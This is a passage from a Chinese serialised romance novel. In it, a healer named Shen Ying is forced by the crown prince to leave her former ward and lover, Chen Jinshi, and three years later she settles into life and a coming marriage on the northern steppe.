他腾出一只手,轻轻抚过她汗湿的鬓角,指尖顺着她的下颌线往上,描摹着她饱满的唇形,语气带着几分痴迷:“你好美,连动一下,都让人神魂颠倒。” 她抬眼望进镜中,见他眼底情潮翻涌,微微抬臀,故意蹭了蹭他,张口咬住他的手指。 她的声音含糊而黏腻,却清晰地传入他耳中:“陈锦时,你是我的。” 活了这么多年,沈樱第一次有种想不管不顾的感觉,男人的直白与疯狂让她双腿发软,他毫不掩饰的爱意叫她心口发胀,压抑已久的心在叫嚣着想要,她想要他。 他扣着她腰地手收得更紧:“是,我是你的。” 她咬着他的手指,舌尖轻轻厮磨,眼尾泛着因情动而起的红,映在铜镜里,像团燃得热烈的火。他被这一下搅得浑身发紧,扣着她腰的手几乎要嵌进她的肌肤,喉间溢出压抑的闷哼。 “阿姆……”他声音哑得不成样子,低头吻上她的唇角,将她含在口中的手指轻轻抽出,转而捏住她的下巴,迫使她抬头与自己对视,“陈锦时这个人永生永世都是你的。” 他的眼眸里只有她的身影,浓得化不开的占有欲里,藏着小心翼翼的讨好。 她抬手,轻轻按住他的后颈,让他贴近自己,感受着他灼热的呼吸与心跳,语气带着几分慵懒的纵容:“那你便记好了。” 他立刻应下,俯身吻得更深,从她的唇一路往下,落在她颈间,轻轻啃咬出淡红的印子。 铜镜里,两人交叠的身影缠缠绵绵。 他怔怔看着她,眼眶忽然有些发热,猛地将她紧紧抱住,力道大得让她几乎喘不过气。 屋内的烛火依旧摇曳,映着相拥的两人,静谧而温暖。 直到现在,他仍然不太敢相信,他们竟然心意相通了。 她会因他而情动。 她失了一些理智,开始向他提出诉求。 陈锦时自然对她无有不应。 坤宁宫的旨意下来,皇后初三要去相国寺进香,点了陪侍的臣子,玄澈特地将陈锦时拟了进去。 陈锦时接了旨,正思忖间,太子又给沈樱传了旨,要她当日在皇后身旁随侍。 这日清晨,天刚擦亮,沈樱换上太子一早送来的碧色宫装,领口绣着细密的兰草纹。 他有意为之的细节她能够察觉,但依旧眸色平淡。 沈樱堆着铜镜最后理了理鬓发,东宫派来接她的马车已停在门口。 公公见她出来,忙躬身行礼:“沈医师,太子殿下吩咐,让小的送您到皇后娘娘那里去。” 沈樱颔首上车,马车与皇后凤驾汇合时,才发现队伍比预想中更浩荡。 沈樱坐在随行的青蓬马车里,撩开车帘一角,队伍正要重新启程,她的车厢里忽然上来一人。 “沈医师,孤的马车忽然坏了,又不好去打搅母后,可以与你同乘一辆吗?” 她抬眼,那人已坐了进来,一身月白色的锦袍,兰草香混着龙涎香,瞬间填满了不大的车厢。 她不动声色地往旁边挪了挪,颔首道:“殿下客气。” 不知怎的,想起陈锦时说他不干净那话,她总想笑。 但太子今日做得太过明显刻意,她有些招架不住,只轻轻蹙了蹙眉,想着怎样摆脱对方。 但陈锦行的命,她还想保一保,少不得继续同太子周旋。 玄澈目光扫过她手边的药箱,笑了笑:“沈医师真是细心。” 沈樱淡淡道:“皇后下旨请民女随侍,民女不敢不上心。” 玄澈语气随意,像是闲聊:“你身上这料子是江南新贡的,瞧着绣样可还合心意?” 沈樱指尖落过衣袖,触感细腻,她穿着他送的衣服,显然他倾注了一些细节和心意的衣服。 “殿下费心了,民女很喜欢。” 她唇角噙着笑意,看着心情很好的样子。 玄澈神情也轻快起来:“沈医师今日心情极好?” 沈樱瞥了他一眼,她虽姿态恭敬,眼神却是轻飘飘的,像俯视众生。 她抿着唇,忽然问道:“听闻殿下府上已有两位侧妃。” 玄澈没想到她会突然问起这个,微微一怔,随即笑道:“孤及冠之年,父皇母后便替着操持的。” “嗯。”她轻轻点头,只当作是随口问问。 玄澈看似温润,却何等精明,听出了她的弦外之音。 一时二人都没再说话,直至马车停在相国寺山门外。 沈樱被请到了皇后身边侍奉,她不是正经女官,但皇后甚喜爱她,虽不与她交谈,却叫她一直跟在身边。 她目光越过众人望向山门处,陈锦时正站在朝臣队列里,绯色官袍在晨风中微微晃动,身姿挺拔如松。许是感应到她的视线,他忽然侧头,目光穿过人群与她相撞,那双已经习惯沉静的眼眸里,飞快掠过一丝张扬,随即又恢复了平日的敛藏,只微微颔首示意。 沈樱心头微热,不动声色移开目光。皇后刚由宫女扶着下车,抬手理了理鬓边的珠花,语气平淡:“山路湿滑,让侍卫们多留意些。” 沈樱上前搀扶,与玄澈各站一边。 山路蜿蜒,两侧古松枝叶交错,晨露顺着松针滴落,在青石板上砸出细小的水花。 皇后朝后看了一眼,忽然道:“太子,你去把杨五小姐请过来。” 玄澈应是,又道:“母后,何不把陈大人也请来。” “陈大人?”皇后似乎并不太知道他。 “回母后,陈锦时是今科进士,此人性子沉稳,儿臣瞧着是个可用之才。” 皇后“哦”了一声,似乎想起了什么,微微颔首:“一同叫来伺候吧。” 沈樱垂下眼眸,微微蜷起掌心,玄澈又站到她身边与她并肩而行,沈樱稍稍退后了半步。 不多时,宫女引着杨芷薇和陈锦时走来,两人俯身问安。 “臣女参见皇后娘娘。” “臣陈锦时,参见皇后娘娘。” 皇后似是听说了什么,望着两人,温婉笑着点头道:“本宫瞧你们二人,正是相配得很呢。” 陈锦时垂着眼,姿态恭敬,余光往沈樱那儿瞥了一眼。 她正一手扶着皇后,另一边站着太子。 沈樱似有所觉,微微侧头,与他的目光撞了个正着。 玄澈轻咳了一声,皇后侧头看他,他低声提醒:“母后,事情杨家还没定呢。” 皇后抿了抿唇,笑道:“有什么的,本宫就能做主,那杨敞还敢说什么不成?” 沈樱抬手替皇后理了理被风吹乱的披风,轻声道:“娘娘,山路风大,不如先往前走走,前面的亭子可避避风。” 皇后点头,迈步往前走去。她虽习惯待人冷淡,心底却是极喜爱沈 医师的,她身上有种,令人安心的神力。 皇后无心之言,却叫身后两人听了个清楚。 杨芷薇闻言一怔,瞥了眼陈锦时,没说什么。 陈锦时盖下眼睫,好藏住阴沉眸色。 沈樱扶着皇后手臂,脚步稳当,却寻机回头沉沉递了一眼:陈锦时,别发疯。 他勾起一侧唇角,冷哼了一声。 第59章 亭子里,宫女已备好热茶。 皇后坐下后,指了指身旁的空位,对沈樱道:“你也坐,今日不过是本宫想出来透透气,寻了个进香的名头,你们都不必太守规矩。” 沈樱瞥了眼山下侍立的两列官员,没吭声,也不敢坐。 直到太子又吩咐了一回:“沈医师坐,母后已经吃过几剂你开的方子,正好今日再劳你请个脉。” 沈樱坐下,玄澈亲自替皇后搭了脉枕。 她指尖搭在皇后腕上,闭目凝神片刻,心绪极乱。 陈锦时在看她。 那样的视线穿过层层阻碍射过来,让她头皮发麻。 她不知道该如何形容那样的感受。 大概是,在这样的场合,她并不想与他认识。 她收回手,垂眸道:“娘娘脉象较先前郁结之态已平顺许多,想来近日歇息得宜。” 皇后闻言轻笑,抬手拢了拢袖口:“多谢,你先前给的方子,本宫用了很好。” 玄澈颔首,将刚温好的茶盏递到沈樱面前:“既脉象无碍,往后便劳沈医师多进宫走动。” 沈樱双手接过茶盏,眉心微蹙:“殿下,民女只是一介游医,皇后娘娘凤体尊贵,这只怕不妥。” 皇后淡淡瞥了她一眼,便直接命令:“往后你便每月进宫两回,本宫瞧你性子稳当,比那些只会捧着章程说话的太医顺眼多了。” 沈樱心头发紧,忙垂下眼,却也只能应下:“是。” “既歇得差不多了,便去前殿进香吧。” 皇后说罢起身,杨芷薇作势要上前搀扶侍候,皇后特地点了沈樱:“你来。” 沈樱微微一怔,上前扶住皇后手臂。 玄澈唇角微扬,忽然道:“这相国寺的香最是灵验,沈医师待会儿不妨也拜一拜。” 前殿香火鼎盛,氤氲的烟气裹着檀香味漫在空气中,木鱼声与诵经声交织,透着几分肃穆。 沈樱止住了脚步:“皇后娘娘恕罪,民女不能进去。” 皇后脚步一顿,侧头看向她:“为何?” 沈樱垂眸屈膝,语气恭谨却坚定:“民女自幼随族中长辈信奉长生天,贸然入殿焚香,恐冲撞了菩萨。” 这话一出,玄澈若有所思,目光落在沈樱紧抿的唇上,路过她时,轻声向她道了声:“抱歉,孤之前不知你信仰。” 皇后沉默片刻,自顾迈入殿中:“倒是本宫考虑不周了,你既不便入内,便在殿外的银杏树下候着吧。” 沈樱松了口气,连忙谢恩:“谢娘娘体恤。” 众人鱼贯进入大殿,沈樱立在殿外的银杏树下,仰头望着枝繁叶茂的树冠,阳光透过叶片的缝隙洒下,在地上投下斑驳的影。 她刚舒了口气,身后传来熟悉的脚步声。 陈锦时站在不远处,绯色官袍在树影里格外醒目。 “你怎么没进去?”她虽是疑惑,却面露警示。 她希望他在该做什么的时候做什么。 “殿内人多,没人注意我。”陈锦时目光落在她脸上,“难怪,这么多年,从未见过你过进寺庙。” 他从不知她有着那样的信仰。 沈樱拢了拢披风,并不打算在这种时候与他多说。 “好了,你进去吧,所有人都在,你该出现在太子与皇后面前。” 陈锦时往前走了两步,树荫落在他脸上,一半明亮一半暗沉:“我看你心绪不佳。” 沈樱摇摇头,身体转向另一边:“别究根问底,陈锦时。” 陈锦时声音沉缓柔和:“我没有究根问底,我只是想说,怎么样能让你好一点。” 沈樱攥紧了衣袖,声音轻得像被风吹散:“我不会好了。” “你不喜欢这里。” “我可能要走了,陈锦时。” 那人猛地怔住,绯色官袍在树影里微微晃动。他终于等来了让他恐慌已久的“宣判”。 沈樱避开他骤然委屈的目光,望着远处山路上的石阶,声音发涩:“我从前只说过,我绝不会不告而别,所以,我想我应当告诉你。但现在是时候了。” 陈锦时上前一步,伸手攥住她的手腕:“若你只是不愿沾染宫里那些事,我去替你与皇后娘娘说。” 沈樱轻轻抽开他:“不是这样的,不止这些。” 他眼底翻涌着慌乱,喉结滚动:“是因为杨芷薇?沈樱,就算杨家请了皇上赐婚,或是皇后下旨,我拼了死也不会娶她。” 沈樱微张着唇,连忙捂住他的嘴,她丝毫不为此而感动,似乎难以理解。 “别钻这种牛角尖,陈锦时。人生本就有各种各样的可能和选择,我希望你能走出来,看看外界。你可能会觉得我对你残忍,但是我不得不说,我不陪你在这里待了,陈锦时,我没有义务在这里陪你一辈子。” 陈锦时猛地攥住她捂在自己唇上的手,眼底的慌乱翻涌成惊涛骇浪:“走出来?走到哪里去?没有你的地方,于我而言都是绝境。” 两人都刻意压低了声音,陈锦时不得不露出更加狰狞的面目来传达情感。 沈樱用力抽手,却被他牢牢按住,她无奈地偏头:“陈锦时,我以为你一早便明白的,我们能有这样一段时日,已是老天眷顾,是偷来的!并非名正言顺,并非顺理成章,而是说不清道不明,永远没有前路可言。” 她叹了声气,望进他的眼眸,真挚地劝他:“我们都应该知足了。” 她这样望着他,用包容万物的眉眼,用最真诚温柔的话语。 他只能缓缓松开她的手,眼眶发红,却又无能为力。 她一向活得克制,欲望于她而言向来懂得如何收止,从不会任其泛滥。 就算在他们极致抵死缠绵之时,她也只会泄露三分欲,纵是那三分,已经足够他神魂俱失地沉醉,巴不得把自己倾泻而出,方才叫涌泉相报。 他与她当然不同,堪称完全相反,但是,她身为阿姆,如此教育着他: “人生没有十全十美,我们都要学会忍耐和取舍。” “阿姆,我可以不要这些功名利禄,我只要跟着你走。” “不可以,我不允许,如果你这样做的话,陈锦时,我会彻底丢弃你。” 她对他的情感很复杂,不是单一的占有或是喜爱,她教养他长大,自然对他多了一些期待。 她如同看待自己的孩子一样看待他,怎会接受他放弃自己苦读十年换来的功名前途。 只是在命中注定一事上,她欣然接受,而他偏执地不愿认命。 他苦笑一声:“你说得对,我今天不该究根问底。是我错了。” 在他对她的所有温和的、紧逼的提问中,他注定没有一次能对得到的答案满意。 杨芷薇止步于五步之外,尽管两人声音不大,但她恰好听力不错,面上只飞快掠过一丝讶异,随即又恢复如常,悄声离去。 众人拥着皇后从大雄宝殿出来,皇后脸色颇好,笑着对沈樱道:“今日进香顺心,住持说后山的禅房清净雅致,恰逢今秋第一场霜降,晨起能瞧见满阶霜叶映着晨光,倒是难得的景致。” 听皇后这意思,玄澈便道:“母后,儿臣这就递信回宫,请示父皇。” “不必,本宫自有主张。” 沈樱屈膝应下:“都听娘娘的。” “既如此,便让宫人收拾几间禅房出来。” 杨芷薇原在一旁沉默,忽然道:“娘娘,臣女前几日读《水经注》,见‘江出岷山,其源可以滥觞’,总好奇是何等模样?” 皇后将视线投向太子,太子又看向陈锦时:“陈大人 好似对山川地理颇有见地,不知可否为杨小姐解惑。” 陈锦时忽被点名,看向始作俑者杨芷薇,竟洞察了几分她的心机。 躬身应道:“山势陡峭之处,江水初时只是山涧细流,绕着青黛色的峰峦蜿蜒,岸边多生箭竹,风吹过便沙沙作响。待流至宽阔一带,几条支流汇入,水势才渐渐壮阔。” 杨芷薇立刻接话:“不知平原段的江水,与上游又有何不同?” “平原江面宽了数倍,水流也平缓许多,岸边多是稻田,春日里绿油油一片,与上游的险峻截然不同。当地百姓多在江上修水车,用来灌溉农田,倒算是‘因地制宜’的巧思。” 两人一问一答,看似聊得投契。 陈锦时的目光往沈樱身上瞟,她立在皇后身侧,垂着眼,仿佛对这话题毫无兴趣。 入夜,沈樱住在紧邻一片松林的禅房,屋里摆着一张雕花木桌,桌上放着笔墨纸砚,墙角的博古架上还摆了两盆小巧的文竹。 她进屋时,宫人正往炭盆里添银骨炭,她笑着谢过。 直到夜半,玄澈到访,这实在太不符合礼数。 她心头微怔,起身整理了下衣襟,才推门相迎。 只是心底到底添了几分忐忑。 玄澈立在廊下,月色洒在他素色常服上,褪去了白日里的皇子威仪,多了几分温润。见她出来,玄澈笑着抬了抬手中的棋盒:“夜里难眠,特来讨教几局棋,不会扰了你清净吧?” “不会。”沈樱待他也懒得周全礼数,说着侧身让他进屋。 沈樱坐在桌旁,对面是太子,两人中间摆着一副棋盘,黑白棋子交错,玄澈正拈着衣袂黑子,低头似在思索,沈樱垂眸看着棋盘,心不在焉。 “沈医师,你在想什么?” “没什么。”她神情沉静地落子,并没有经过多少思考,她也并不擅长此道。 她很快就可以输掉,如果玄澈想与她把这盘棋下得久一点,需要绞尽脑汁地琢磨,比起单纯的赢棋来说,会更难。 沈樱心想,自己已经将拒绝说得很明显了。 她不擅长说更直接的话语。 玄澈何等通透,可惜他不是个好人,他是太子。 “孤可以良娣之位迎你入东宫,你出身异族,孤不能给你更多了。” 他终于把话说出口,对于身份之高如太子,他已经盘旋得够久了。 沈樱紧盯着他,姿态和神情可算极为失礼。 不过太子多次以她为异族女子的缘由,也从未对她做全礼数,否则也不会深夜到访,她认为自己同样不必回礼。 但她不只是这样。 沈樱站起身,居高临下俯视太子双眼。此人太傲慢了。 她手指轻轻挑起,一翻,“唰啦”一声,所有棋子应声落地。 “我就不说他了,你连谢清樾的乖顺都比不上,我凭什么要你?” 玄澈一愣,温润的眉目间闪过一丝错愕。 “乖……顺?” 沈樱总算懂了陈锦时的“掀桌”是一种什么感觉。 原来是这样。 可惜陈锦时长大了,他再也不能体会这种滋味。 她不知道看似温和的太子明天会怎样对待她,但她做都做了。 玄澈怔了半晌,才缓缓收起脸上的错愕,眼底闪过一丝复杂的情绪,有意外,有隐隐的愠怒。 他弯腰,随手捡起一枚落在脚边的黑子,指尖摩挲着棋子边缘:“孤好像,这才开始认识你。” 他缓缓站起身,身影逐渐盖过她,压倒性地盖过她。 “你说的‘他’是谁?” 谢清樾是她可以脱口而出的人,玄澈反而并不在意。 但是那个“他”…… 这话像根针,戳中了沈樱。 “你不说,让孤猜一猜。” 他步步逼近,温润的眉眼中竟夹杂着一丝戏谑。沈樱抬眼,目光锐利如刀。 太子之所以为太子,绝不蠢笨。 曾经有那么多的细节浮现出来,又有跟前此人缄口不言彰显“禁忌”,好像不难想到。 玄澈看着她眼底毫不掩饰的警惕,忽然收起了愠怒,慢悠悠猜测:“是陈锦时吗?” 他语气笃定。 沈樱唇角勾起一抹嘲讽的浅笑:“太子殿下,是又怎样?” “孤原本很欣赏他,或许借着你的关系,要给他一条通天的路走,现在,可惜了。” 沈樱收了笑,脊背挺得笔直:“殿下这是在逼我吗?” “如果孤是呢?你还会做出怎样的选择?” 这话里的傲慢,让沈樱十分难受,她几乎后悔招惹了太子。 陈锦时说得对,太子不可违逆,无论他要给他们什么,好的还是坏的,他们都得接住。 她抬眼迎上他的目光,语气冷了几分:“殿下身份尊贵,这天下的臣民,自然都是随你处置。” 玄澈眸色沉了沉。 他原以为她性子是不可多得的敦厚温柔,却不知,她把这锐利的一面独独给了他。 他很不满。 “孤不会处置他,孤只会让他往后在朝堂上,步步维艰。” 沈樱定定看着他,攥紧的袖管里,指尖几乎嵌进掌心,面上依旧绷得冷硬。 玄澈蹙着眉头,沉沉看了她许久。 最后,他退后半步:“开个玩笑,孤刚刚只是说,‘如果’。” 他放缓了语气,恢复了温和面容。 他想告诉对方,对方没有看错他,他大抵是个好人。 她仍保持警惕,便听他道:“但孤莫名想惩治他一番,要不在明日天亮以前,你走吧。” 沈樱猛地抬眼,以为自己听错了。 玄澈避开她的神情,弯腰拾起案上的棋盒,将散落的棋子一颗颗往里收:“孤也有自尊的,对你,孤已经很宽容了。况且一开始……罢了,你家的那个在太医院的小子,孤答应你,将来会留他一命。” 他顿了顿,抬眼看向她,“母后那里孤会去解释。你若还留在这里。孤以后再看着你们两个,碍眼。这个理由可以吗?” 沈樱沉默片刻,终是道:“我需要告别。” “告别?”玄澈将最后一枚棋子放进盒中,合上盖子,语气平淡,“今日白天,不是告过了吗?” 她猛然抬头:“你……” 玄澈抿唇浅笑。 她总算得知太子为何今晚句句都能扎中她的一颗心。 到头来,她还是后悔了,后悔招惹太子,他看似面善。 尽管换来了陈锦行的一条命。 但她在与太子的交锋里,实在输得彻底。 后来她想,也不算输,太子到底对她心软了。细数起来,她赢的更多。 只是提前一些离开而已。 “后山有条小路通向山外,没人会拦你。” “孤今晚事事被拒,总不能,这么一点小小的命令,都无权发出吧。” “孤已经很大度了,沈樱。” 沈樱点头,是,对方已经很大度了。 “不过孤要提前与你说好,陈锦时必须娶杨芷薇。” 沈樱怔住,抬眸质问。 “杨家手握重权,连孤也并不十分放在眼里。杨敞为他最赏识的女儿选了两个女婿,孤绝不能让她嫁给另一个,明白吗?” 沈樱虽不懂其中关窍,可也大抵明白太子之意。 所以,这才是太子一开始看重陈锦时的原因。 他出身不高不低,却偏偏,陈老将军已经死了。 太子今晚种种,实在令她眼花缭乱,节节败退。 但她又不得不说:“殿下,你是一个好人,还请你不要忘了答应我的事情。” 玄澈唇角含笑:“自然,陈锦时若成杨敞女婿,我必不会再动陈家,包括那位陈太医。” 他收起棋盒,点了点桌上纸笔:“坐下,留封信,按我说的写。” 沈樱望着案上笔墨,指尖微颤。 她深吸一口气,她还有路可走吗? 她提笔,玄澈俯下身来,身形笼罩住她。 太子是个好人,可惜于她而言,有着至高无上的权力,她不可违逆。 墨汁在宣纸上晕开 ,落笔却异常坚定。 “锦时亲启:此别后,草原为家,山水不相逢。你我缘分,止于今日。往后,勿念,勿寻,专注仕途,方不负十年苦读,不负我八年教诲。” 写完,她抬眸看向太子。 玄澈继续命令:“再写,太子为明君之相,请务必追随。杨家小姐之芷薇,万不可以命相拒,当真心待之,莫负良缘。” 沈樱咬紧了牙,握着笔的手微微收紧,墨汁在笔尖凝滞片刻。 玄澈催她:“你方才说了,孤是个好人。” “是。” “你也说了,杨家对他来说,称得上是好姻缘。” “是。” “那你还在犹豫什么?难不成,你想嫁给他?” 她指尖泛白:“不,我不能。” “那便落笔吧。”玄澈语气平淡,就这样宣判了她与陈锦时的结局。 笔终究还是落下。 “这个你拿着,出了山,到南渡口,见玉佩如见孤,会有人护送你一路往北,直至回家。”玄澈将信纸折好,又从腰间解下一块令牌,“每个字都是违心之言吗?” “也不是。” “那你为何这副表情,好似孤欺负你了似的。” 沈樱苦笑一声:“太子殿下,这封信我就留在这里,不过你具体会得到一个什么样的陈锦时,我就真不知道了。” 玄澈有些疑惑:“你这话是什么意思?” 不过沈樱已无心与他多言。 “祝你好运,太子殿下。他乖的时候也是很乖的。” 她起身,简单收拾了一下,便准备下山去。 既然说好了要走,那便没什么好犹豫的。 玄澈看着她的背影,眉头微蹙。 他手里拿着她写的信,总觉得她还应该给他什么。 如果沈樱能够说得清楚一点,便会告诉他,那个东西大约是叫“陈锦时驯服手册”。 沈樱已经拉开房门,清冷的月光涌进屋内,将她的身影拉得单薄而疏离。 庭院里的风裹挟着松枝的清冽扑面而来,将她鬓边碎发吹得微扬。月光像一层薄纱,漫过禅房门前的青石板,石板缝隙里生着几丛细弱的苔藓,沾着夜露,在月下泛着淡青的微光。 不远处的墙角,两株文竹从博古架被搬至室外透气,细长的枝叶在风里轻轻摇曳,竹影落在墙面,像被揉碎的墨痕,忽明忽暗。 炭盆里未燃尽的银骨炭还剩一点余温,偶尔发出细微的“噼啪”声,很快便被庭院里的松涛声盖过。 玄澈握着信纸的身影映在窗纸上,凝然不动。 风卷着一片半黄的银杏叶,轻飘飘落在沈樱的披风上,又被她迈步时带起的气流吹走,打着旋儿飘向庭院深处,最终停在那只倾斜的陶盆旁,与未开的菊苞相挨。 沈樱的脚步声干脆,青石板上残留的泥土痕迹,很快被夜露浸润,模糊成淡淡的印记,与满地月光融为一体,只剩那株歪斜的秋菊,在风里微微颤动,像在无声地送别。 陈锦时辗转难眠,索性披衣起身。 但到底是错过了。 他似有所感,他的脚步停在那只倾斜的陶盆旁,捡起了那片半黄的银杏叶,僵在原地。 他捏着那片银杏叶,指尖无意识摩挲着叶片边缘的褶皱,秋露沾在上面,凉意顺着指尖漫进心底。 夜色浓得像化不开的墨,只有风穿过松林的呜咽声,在空荡的庭院里回荡,像谁没说出口的叹息。 他缓缓蹲下身,双手抚着脸,压抑的呜咽顺着指缝溢出。 山水不相逢,勿念,勿寻。 — 都兰骑马穿梭在羊群之间,风卷着青草的气息掠过脸颊。 春风刚吹软了冻土,都兰便牵着马,药箱挂在马鞍旁,往东边的阿古拉部落去。 那处有位病人去年冬天寄了信过来,请她过去看看,直到春天河水化了冻,她才收到信,启程过去。 沿途的草芽冒了尖,沾着晨露,远处羊群像散落在绿毯上的云团。 阿兄的吆喝声隔着风传过来:“都兰,后天前能回来不?谢小将军说他大抵是后日过来帮着咱家采沙棘。” 都兰回头扬了扬手:“应当可以。” 话音落,她便上马,调转马头,往河岸东边去。 都兰骑着马,循着记忆往阿古拉部落的方向走,早晨出发,天黑前便到了。 她勒住马,喊了声“□□”,许久才见一间毡房的门帘被掀开。 □□大叔佝偻着身子走出来,见了她,嘴唇嗫嚅了半晌:“都兰!快进来坐。” 沈樱跟着他进了毡房,刚要开口问孩子的情况。 □□便先摆了摆手,声音是被风沙磨过的沙哑:“劳你跑一趟,娃子腊月里就走了。” 说着,他叫妻子给都兰摆上羊肉和奶茶。 都兰怔愣了半晌,似乎过了很久才意识到,自己已经回到楼烦了。 这里不是京城。 对这样的事情,她应当见怪不怪。 他们当然想悲伤,可是悲伤有什么用呢。 楼烦的人命向来脆弱至此,用尽全力,也只能感慨是孩子命不硬。 “当时河土都冻着,信还没送出去,人就不行了。” 都兰把药箱紧紧攥在手里,硌得手心发疼。 第二日,她走出毡房,外头的风更大了,卷起地上的雪沫子,打在脸上冰凉。 远处的青山在灰蒙蒙的天空下,显得格外肃穆,草原像一块被冻得发硬的绿毯,望不到边。 天很大,地很广,三年未曾传来,他的消息。 第60章 生命在这里,像草芽一样脆弱,一阵霜,一场雪,便只能归于尘土,连让人挽回的余地都没有。 她想起金陵和京城的事情,那些冷暖,都抵不过草原上这一声无奈的叹息。 风卷着枯草掠过马蹄,都兰抬手抹了把脸,指尖沾着的不知是雪沫还是泪水。 她骑着马,慢慢往回走,风把她的衣角吹得猎猎作响。 草地上还带着薄冰碴,马蹄踏过时,发出“咯吱”的轻响。 往回走的路,要经过一片矮松林。松枝上还挂着未化的雪,风一吹,便簌簌往下掉,落在都兰的肩头,很快融成细小的水珠。 她忽然听到林间有动静,抬头望去,只见谢清樾骑着一匹马,站在不远处的树下,身上沾着些风霜,见她来,笑着扬了扬手:“猜你今日该回了,特地来接你。” 都兰勒住马,清晨从阿古拉部落离开时,□□给她塞了满满一包袱的馕饼。 明明已经开了春,中午又下起雪来。都兰愣了片刻,声音需要用力一些才能传过去:“你过来走了好一会儿吧,不用特地来接我。” 谢清樾笑着拍了拍马颈,那匹白马温顺地甩了甩尾巴,蹄子踏在草地上发出轻响:“昨日正好在泰赤乌部附近巡查,听说你去找□□了,我便顺路过来。” 都兰分了他一半的馕饼:“先吃些东西吧。” 谢清樾翻身下马,指了指马背:“我带了件厚氅,你要是冷就披上。” 都兰抬头看了眼他马背上鼓鼓的包袱,也从马上下来,摇头道:“我不冷。” 她往前走了两步,一边吃饼一边歇息,一回头,肩上已披上暖意,才发觉谢清樾竟把厚氅取过来了。 “你不必这般费心。” “草原上哪能不互相帮衬着呢?” 都兰感到很不好意思,这些年,谢清樾帮了她家很多忙。 无论是夏天帮着转场,还是冬天帮着打草储粮,就算是越冬要修新的棚圈,也总能在家里看到他的身影。 有时候赵将军也会来家里帮忙,与将军有关的所有人都对他们一家很好。 一想到将军已经逝去,她还在承他的人情,她就总是眼眶发热。 谢清樾在空地上搭起架子,架上铜壶,又从随身的行囊里掏出两块奶豆腐,放了几片茶叶,很快就煮成一锅浓浓的奶茶。 “尝尝,这是泰赤乌部的奶豆腐。” 都兰 捧着温热的茶碗,看着碗里浮起的奶皮,通红的鼻尖被熏得舒服了一些。 谢清樾这两年不但没有变得更白,皮肤反而更加呈现古铜色,身躯更壮了,冬日里披上狐皮大氅,远远看着简直就像一头棕熊。 都兰都快想不起刚见他时,他腰垂玉带、青衿曳露的样子。 也快要想不起那人,长街策马、玉勒金鞍的模样,如今只怕更是意气风发。 她晃了晃脑袋,她虽未曾听闻京中传来的消息,大抵也知道,那人已是扶云直上的路。 如他所愿,也如她所愿。 “□□家那个孩子怎么样了?病得重吗?”谢清樾随口问起。 都兰摇摇头,喉间发堵。 “没撑过冬天。” 谢清樾攥着碗的手紧了紧,只轻轻“嗯”了一声。 对这种事情习以为常的对待,是让所有人都感到轻松的办法。 歇了约莫半个时辰,雪势渐小。 “咱们启程回去吧。” 都兰将茶碗递给谢清樾,上马时,他伸手扶了她一把。 身上穿得实在笨重,都兰做起这样的动作都不显得潇洒。 她“哎哟”了一声,才在马上坐稳,随后拢了拢厚氅的边角,将自己拢得严严实实,远看去,她骑在马上的身躯也像一头熊,魁梧而茂盛。 “抓紧缰绳,雪后草坡滑。”她低声叮嘱。 谢清樾翻身上了马,与她并辔而行。 马蹄踏过半融的薄雪,“咯吱”声混着风吹松林的簌簌响,在空旷的草原上漫开。 都兰望着前方连绵的青灰色山影,忽然想起去年冬天,谢清樾带着军营里的汉子,在她家棚圈外堆了半人高的干草垛,手冻得通红,还笑着说:“今年雪下得再大,保管你家牛羊也饿不着了。” 那时她阿兄还打趣,说谢小将军把她家的事,当成自己家的事在操持,问他何时给他们家做女婿,当时众人打笑着便过去了。 “你阿兄说开春后要在河边补种牧草,想借几具耧车,我已经让人从营里送过去了。” 都兰道谢:“不过这不妨事吗?” 谢清樾侧头看她时,眼底带着点笑意:“不妨事,营里的耧车本就是备用的,这几日正好空闲,借去用些时日,等你们种完,再送回来便是。” 快到部落口时,远远就见阿兄牧仁站在门口张望,见他们回来,连忙挥了挥手。 牧仁快步迎上来,先帮都兰牵住马缰,笑着拍了拍马背:“可算回来了,雪天路滑,没耽误功夫吧?” “没怎么耽误,这不就回来了。” 都兰往毡房里走,自己家里此时已是炊烟袅袅,嫂嫂图雅在给一家人做晚饭。 图雅手上还沾着面粉,将一块刚烙好的肉饼包好递给谢清樾:“谢小将军快进来坐,刚出炉的,还热乎着。” 谢清樾接过肉饼,咬了一口。 毡房里暖意融融,铁锅里的羊肉咕嘟冒泡,香气混着砖茶的醇厚味满载屋里。 图雅拉着都兰坐到炉边,伸手摸了摸她的手,见有些凉,便把她的手往自己掌心裹着:“早上就该多穿件坎肩,春雪最刺骨头。” 兄嫂都大都兰许多,她在家里受照顾颇多。 都兰从炕头的木箱里翻出一双新做的毡靴,递给谢清樾:“给你做的,试试合不合脚?” 图雅在一旁道:“用的是去年秋天新剪下来的羊毛,软和着呢。” 谢清樾接过毡靴,唇角扬起的笑久久也落不下来。 “先试试。”牧仁进了屋,拍了拍谢清樾的肩,“我妹子亲手做的,你可得好好穿。” 谢清樾把靴子捏在手里,笑容尴尬了一瞬。 细心的图雅瞪了丈夫一眼,随后道:“刚从外头跑了一天回来,还是晚上回去了再试吧。” 谢清樾顺势将毡靴妥帖包好收起来。 都兰看着眼前三人,喝了口热汤,暖意顺着喉咙往下滑,忽然觉得,这样的日子不知不觉就过了三年了,也挺好。 锅里的羊肉炖得酥烂,图雅用银匙舀了一大块,连骨带肉盛进谢清樾碗里:“多吃点,你在营里巡查辛苦,得补补身子。”又给都兰碗里添了勺羊汤,“你也喝,驱驱寒气,这两天跑了那么远的路。 牧仁端起茶碗,喝了口砖茶,咂咂嘴道:“过两天父亲母亲也该回来了,谢小将军,有些事情过了这个时机又得等一年。”说着,他冲谢清樾挤了挤眼。 谢清樾放下筷子,把目光落到都兰身上,笑着道:“都听都兰的。” 都兰低头喝汤,耳尖微微发烫。 图雅伸手将小女儿抱到膝上,也道:“赶着春夏天气暖和办了吧,别拖了,你们两个也老大不小了。” 谢清樾深深看了都兰一眼,她只小口小口抿着汤,对于女子来说,这样的不拒绝已经表示同意。 谢清樾也笑得腼腆:“明日一早我就写信回家里,不能亏待了都兰。” 图雅听了这话,笑得眼睛都眯了起来:“聘礼不用多贵重,心意到了就行,往后你们好好过日子才最要紧。” 小女儿又哇哇闹起来,都兰忙伸手帮忙: “其其格乖,看姑姑给你做一个草编黑山羊。” 牧仁难得正经起来:“我们草原上的人不讲究那些虚头巴脑的,就认你是个实在人,这些年也帮家里做了不少事,就冲这份心就够了。” 都兰捧着汤碗,汤里的热气熏得她脸颊发烫。 若说一开始还没能想清楚,但这转眼都过了三年了,她若还说她没想清楚的,未免可笑了。 